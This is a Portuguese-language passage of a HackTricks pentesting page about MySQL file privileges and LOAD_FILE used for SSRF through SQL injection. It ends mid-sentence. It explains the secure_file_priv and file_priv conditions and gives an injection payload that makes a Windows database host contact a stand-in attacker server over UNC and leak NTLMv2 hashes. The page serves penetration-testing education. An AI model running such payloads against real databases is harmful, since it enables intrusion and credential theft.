hacktricks/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
2023-06-06 18:56:34 +00:00

4 KiB

MySQL File priv para SSRF/RCE

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Post copiado de https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#mysqlmariadbpercona

LOAD_FILE/LOAD DATA/LOAD XML para SSRF

Todo artigo de exfiltração de dados SQL Out of Band usará a função de string LOAD_FILE() para fazer uma solicitação de rede. A função em si tem suas próprias limitações com base no sistema operacional em que é executada e nas configurações com as quais o banco de dados foi iniciado.

Por exemplo, se a variável global secure_file_priv não foi definida, o valor padrão é definido como /var/lib/mysql-files/, o que significa que você só pode usar funções como LOAD_FILE('filename') ou LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablename para ler arquivos do diretório /var/lib/mysql-files/. Para poder realizar leituras em arquivos fora deste diretório, a opção secure_file_priv deve ser definida como "", o que só pode ser feito atualizando o arquivo de configuração do banco de dados ou passando o parâmetro de inicialização --secure_file_priv="" para o serviço de banco de dados.

No entanto, em circunstâncias em que secure_file_priv é definido como "", deveríamos ser capazes de ler outros arquivos no sistema, assumindo que as permissões de leitura de arquivos e file_priv estão definidas como Y em mysql.user para o usuário do banco de dados atual. No entanto, ser capaz de usar essas funções para fazer chamadas de rede é muito dependente do sistema operacional. Como essas funções são construídas apenas para ler arquivos, as únicas chamadas relevantes para a rede que podem ser feitas são para caminhos UNC em hosts do Windows, já que o api do Windows CreateFileA que é chamado ao acessar um arquivo entende as convenções de nomenclatura UNC.

Portanto, se o banco de dados de destino estiver sendo executado em uma máquina Windows, a consulta de injeção x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- // [resultaria na máquina Windows enviando hashes NTLMv2 na tentativa de autenticar com o `